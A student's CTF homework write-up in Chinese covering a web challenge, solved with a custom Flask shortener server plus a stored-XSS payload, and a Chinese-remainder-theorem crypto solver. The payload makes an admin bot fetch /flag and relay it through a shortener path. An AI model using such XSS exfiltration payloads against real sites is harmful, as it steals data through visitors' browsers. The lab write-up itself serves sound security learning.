# Programing Security 2023 Writeup HW
> User ID : tyctyc StuID : 112550150
## Web
- ### GUSP
> GUSP是一個自訂的協議,所以題目要求要寫出一個 Server 端,並且查看題目原始碼中的 testCase ,可以看到總共需要通過 5 個 testcases 才能建立服務在那上面
> 進去首頁看到

> 點選 Add Your GUSP API 發現權限不足,查看後端邏輯後,發現只要有 authenticated 這個 Cookie 就可以進入
```javascript=71
app.post('/add-api', async (req, res) => {
if (!req.cookies['authenticated'])
return res.send("You are not authenticated");
```
>新增時的畫面還可以讓你免費插入 JavaScript,也就是在使用者被短網址重新導向之前,可以先執行一段 javascript

> 看到這裡一定是要寫一個 Server 端出來了,所以就開始研究一些必要的參數以及要處裡的東西 e.g.
1. 可能會有兩種不同長度的回應
```javascript=93
testCases.map(({ original, alias }) => new Promise((resolve, reject) => {
const body = alias === null ?
`[gusp]URL|${original.length}|${original}[/gusp]` :
`[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
```
2. 回應的 Header Content-Type 必須也是 application/gusp
```javascript=102
}).then(res => {
if (!res.headers.get('Content-Type').startsWith('application/gusp')) {
reject(new Error(`Should return Content-Type: application/gusp`));
}
```
3. 回傳 GUSP 協定時,必須也包含該短網址 ID 之長度
```javascript=107
}).then(async res => {
const [status, length, content] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
if (+length !== content.length) {
reject(new Error(`Length mismatch: ${length} vs ${content.length}`));
}
```
4. 短網址ID如果是自行生產的,必須符合以下規範 ```/[^A-Za-z0-9_-]/```
```javascript=113
if (content.match(/[^A-Za-z0-9_-]/)) {
reject(new Error(`Invalid alias format ${content}: should only contain A-Za-z0-9_-`));
}
```
5. 如果是不重複短網址ID建立要求,必須在狀態訊息中寫入 SUCCESS ```[gusp]SUCCESS|短網址長度|短網址ID[/gusp]```
```javascript=117
if (status !== 'SUCCESS') {
reject(new Error(`Should return SUCCESS for non-duplicated alias`));
}
```
6. testCase會故意送出一個重複的建立請求,必須要給予狀態訊息 ERROR 並且阻擋建立
```javascript=138
} else if (testMode === 4) {
// create a duplicated alias
const body = `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
const res = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/gusp', },
body
}).then(res => res.text());
const [status, _, __] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
if (status !== 'ERROR') {
reject(new Error(`Should return ERROR for duplicated alias`));
}
```
7. 不存在要回應 404 status code
```javascript=132
} else if (testMode === 3) {
// visit a non-exist alias
const redirect = await fetch(new URL(url + '/' + randStr(randInt(3, 10))), { redirect: 'manual' });
if (redirect.status !== 404) {
reject(new Error(`Should return 404 for non-exist alias`));
}
```
8. 成功找到短網址ID應該要回應 302 status code 並給予 Location Header
```javascript=122
if (testMode <= 2) {
// normal visit
const redirect = await fetch(new URL(url + '/' + content), { redirect: 'manual' });
if (redirect.status !== 302) {
reject(new Error(`Should redirect with status 302`));
}
const location = redirect.headers.get('Location').trim();
if (location !== original) {
reject(new Error(`${content}: Should redirect to ${original}, but got ${location}`));
}
```
> 好了,寫完之後長這樣
```javascript=
from flask import Response,Flask,request
import re
import random,string
app = Flask(__name__)
shortdb = {}
def shortGen():
return str(random.randint(0, 3))+''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k=random.randint(3, 10)))
@app.route('/shorten',methods=["POST"])
def shortened():
reqGusp = str(request.data)[8:-8].split("|")
try:
if shortdb.get(reqGusp[3]):
print("==== Detect Duplicate Requests ====")
a_error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]"
return Response(a_error_xml, mimetype='application/gusp')
except:
pass
if len(reqGusp) == 3:
tmpId = shortGen()
print("3=== " + tmpId + " ===3")
shortdb[tmpId] = reqGusp[2]
xml = f"[gusp]SUCCESS|{len(tmpId)}|{tmpId}[/gusp]"
return Response(xml, mimetype='application/gusp')
elif len(reqGusp) == 4:
print("4=== " + reqGusp[3] + " ===4")
shortdb[reqGusp[3]] = reqGusp[2]
xml = f"[gusp]SUCCESS|{len(reqGusp[3])}|{reqGusp[3]}[/gusp]"
return Response(xml, mimetype='application/gusp')
else:
print("Error")
@app.route('/shorten/<shortened_id>', methods=['GET'])
def get_original_url(shortened_id):
original_url = shortdb.get(shortened_id)
if original_url:
return Response(mimetype='text/html',headers={"Location": f"{original_url}",'Access-Control-Allow-Origin':'*'}), 302
else:
error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]"
return Response(error_xml, mimetype='application/gusp'), 404
@app.route('/flag', methods=['POST'])
def fake():
print(request.data)
return "flaag{fake}"
# 一些測試的API
@app.route('/text', methods=['GET'])
def ddd():
return "flaag{fake}"
if __name__ == '__main__':
app.run(debug=True,host="0.0.0.0")
```
#### 把環境跑起來
有對 Dockerfile 做 Patch
:::spoiler Docker File
```dockerfile=
FROM alpine
# Installs latest Chromium (100) package.
RUN apk add --no-cache \
chromium \
nss \
freetype \
harfbuzz \
ca-certificates \
ttf-freefont \
nodejs \
yarn
# Tell Puppeteer to skip installing Chrome. We'll be using the installed package.
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
# Puppeteer v13.5.0 works with Chromium 100.
RUN yarn add puppeteer@13.5.0
# Add user so we don't need --no-sandbox.
RUN addgroup -S pptruser && adduser -S -G pptruser pptruser \
&& mkdir -p /home/pptruser/Downloads /app \
&& chown -R pptruser:pptruser /home/pptruser \
&& chown -R pptruser:pptruser /app
# Run everything after as non-privileged user.
USER pptruser
WORKDIR /app
COPY ./ /app
RUN yarn install
CMD ["yarn", "start"]
```
:::

#### 神秘的路徑們
兩個路徑都沒有在頁面上顯示
- /flag
- 要拿到 flag 必須要是有特定 Header 以及 req.ip 要等於本機IP
```javascript=28
app.get('/flag', (req, res) => {
// only allow localhost users to get the flag -- which is the bot
// bot? see /report handler
if (req.headers['give-me-the-flag'] === 'yes' &&
req.ip.endsWith('127.0.0.1')) {
return res.send(flag);
}
res.send('No flag for you');
});
```
- /report
- 可以向一個模擬的 Admin 瀏覽器去瀏覽建立好的 GUSP API, Admin 是從 127.0.0.1 發出的
#### 嘗試的過程
Payload進化史圖,對於Javascript熟悉度待加強
同時也有參考之前我打過的 picoCTF XSS 的 [writeup](https://ctftime.org/writeup/32928)

1. 想要用一個 API 來回傳所有東西,但後來碰到了 CORS 的問題。當時的想法是,讓Bot造訪/flag 之後,直接再送出flag到外部的伺服器
2. 發現腳本執行不了,換成比地端跑,發現忘記指定 fetch 的 method 為 GET
3. 想到可以將回傳的 flag 再次傳送到 127.0.0.1:3000/創好的API/flag,實現如下
- 1. 先建立一個空白的API

- 2. 建立釣魚腳本API

```javascript=
fetch('http://127.0.0.1:3000/flag', {method: 'GET', headers: {'give-me-the-flag': 'yes'}}).then(response => response.text()).then(data => setTimeout(() => {
fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}`, {
credentials: "include",
method: "GET",
});
}, 200));
```
可以將 ```fbebee13-76b6-4919-98e5-39ba33733145``` 替換成剛剛創建的另一個空白API
這樣一來當Admin訪問 ```fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}```時,就可以將flag利用短網址ID這個欄位的方式傳送請求到我的API Server,即可接收到FLAG
- 3. 坐等flag
Flask

Ngrok

## Crypto
### Extrem Xorrrrr
```python=
from Crypto.Util.number import long_to_bytes, inverse
def xorrrrr(nums):
n = len(nums)
result = [0] * n
for i in range(1, n):
result = [ result[j] ^ nums[(j+i) % n] for j in range(n)]
return result
hint = [297901710, 2438499757, 172983774, 2611781033, 2766983357, 1018346993, 810270522, 2334480195, 154508735, 1066271428, 3716430041, 875123909, 2664535551, 2193044963, 2538833821, 2856583708, 3081106896, 2195167145, 2811407927, 3794168460]
muls = [865741, 631045, 970663, 575787, 597689, 791331, 594479, 857481, 797931, 1006437, 661791, 681453, 963397, 667371, 705405, 684177, 736827, 757871, 698753, 841555]
mods = [2529754263, 4081964537, 2817833411, 3840103391, 3698869687, 3524873305, 2420253753, 2950766353, 3160043859, 2341042647, 4125137273, 3875984107, 4079282409, 2753416889, 2778711505, 3667413387, 4187196169, 3489959487, 2756285845, 3925748705]
hint = xorrrrr(hint)
muls = xorrrrr(muls)
mods = xorrrrr(mods)
from functools import reduce
def egcd(a, b):
"""歐幾里德展開"""
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def chinese_remainder(pairs):
"""中國餘式定理"""
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
ans = []
for i in range(20):
ans.append(hint[i] * pow(muls[i],-1,mods[i])% mods[i])
bb = []
for i in range(20):
bb.append((mods[i],ans[i]))
print(bb)
print(long_to_bytes(chinese_remainder(bb)))
```